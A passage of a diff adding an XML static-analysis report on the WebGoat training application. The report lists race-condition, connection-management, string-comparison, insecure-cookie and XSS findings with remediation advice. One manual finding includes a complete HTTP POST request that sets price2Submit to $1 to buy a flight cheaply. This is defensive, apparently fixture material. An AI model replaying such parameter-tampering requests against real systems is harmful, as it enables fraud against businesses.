+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
